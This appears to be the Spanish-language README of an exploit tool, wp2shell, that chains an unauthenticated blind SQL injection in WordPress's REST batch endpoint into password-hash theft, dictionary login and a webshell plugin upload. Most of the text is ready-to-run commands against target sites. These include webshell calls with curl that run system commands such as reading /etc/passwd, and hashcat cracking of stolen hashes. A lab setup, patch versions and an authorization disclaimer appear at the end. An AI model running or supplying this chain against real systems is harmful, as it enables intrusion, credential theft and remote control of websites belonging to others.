wp2shell

Inyección SQL ciega por confusión de ruta batch en REST de WordPress — cadena de explotación automatizada.

CVE-2026-63030 / CVE-2026-60137

Solo para pruebas de seguridad autorizadas.

Cómo funciona

El endpoint batch de la API REST de WordPress (/wp-json/batch/v1) permite peticiones batch anidadas. Un payload de desincronización doblemente anidado desplaza los arrays internos $matches / $validation, enrutando un valor author_exclude manipulado hacia el SQL author__not_in sin saneamiento. Esto proporciona inyección SQL ciega booleana y por tiempo sin autenticación.

Cadena de explotación — 4 fases:

Fase 1  Verificación de vulnerabilidad    sonda de marcador batch + SQL temporal opcional
Fase 2  Cosecha de hashes                 SQLi ciega extrae wp_users (login + hash)
Fase 3  Autenticación                     ataque de diccionario vía wp-login.php
Fase 4  Despliegue de webshell            subida de plugin ZIP -> verificación de RCE

Requisitos

• Python 3.8+
• aiohttp
• colorama

pip install aiohttp colorama

Uso

Objetivo único

python wp2shell.py http://target.com

Lista de sitios (una URL por línea)

python wp2shell.py sites.txt

Lista de sitios + archivo de contraseñas personalizado

python wp2shell.py sites.txt -p pass.txt

Credenciales conocidas (omitir diccionario)

python wp2shell.py http://target.com --user admin --password admin123

Confirmar SQLi con temporización

python wp2shell.py http://target.com --confirm-sqli

Sin enlaces permanentes bonitos

python wp2shell.py http://target.com --rest-route

A través del proxy de Burp

python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Opciones

Archivos de salida

Todos los archivos agregan contenido: los resultados se acumulan entre ejecuciones.

Uso de la webshell — añade ?cmd=COMANDO a la URL en webshell.txt:

# navegador
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Descifrado fuera de línea

Si el diccionario no acierta, creds.txt contiene el hash extraído:

hashcat -m 400 creds.txt wordlist.txt

Luego vuelve a ejecutar con la contraseña descifrada:

python wp2shell.py http://target.com --user admin --password <texto_plano>

Laboratorio local (Docker)

Levanta una instancia vulnerable de WordPress 7.0.1 para pruebas locales seguras.

Primera ejecución — construir volúmenes e instalar WordPress:

docker compose up -d db wordpress
docker compose run --rm wpcli

Inicios posteriores:

docker compose up -d db wordpress

Detener:

docker compose down

Reinicio completo (borra todos los datos):

docker compose down -v

Ejecutar el exploit contra el laboratorio:

python wp2shell.py http://localhost:8080

Parcheo

Actualiza a WordPress 6.9.5 o 7.0.2. La corrección valida la ruta batch antes de despachar peticiones anidadas, evitando la desincronización que expone el sumidero SQL.

Legal

Para uso en sistemas que poseas o para los que tengas autorización explícita por escrito para realizar pruebas. El uso no autorizado es ilegal.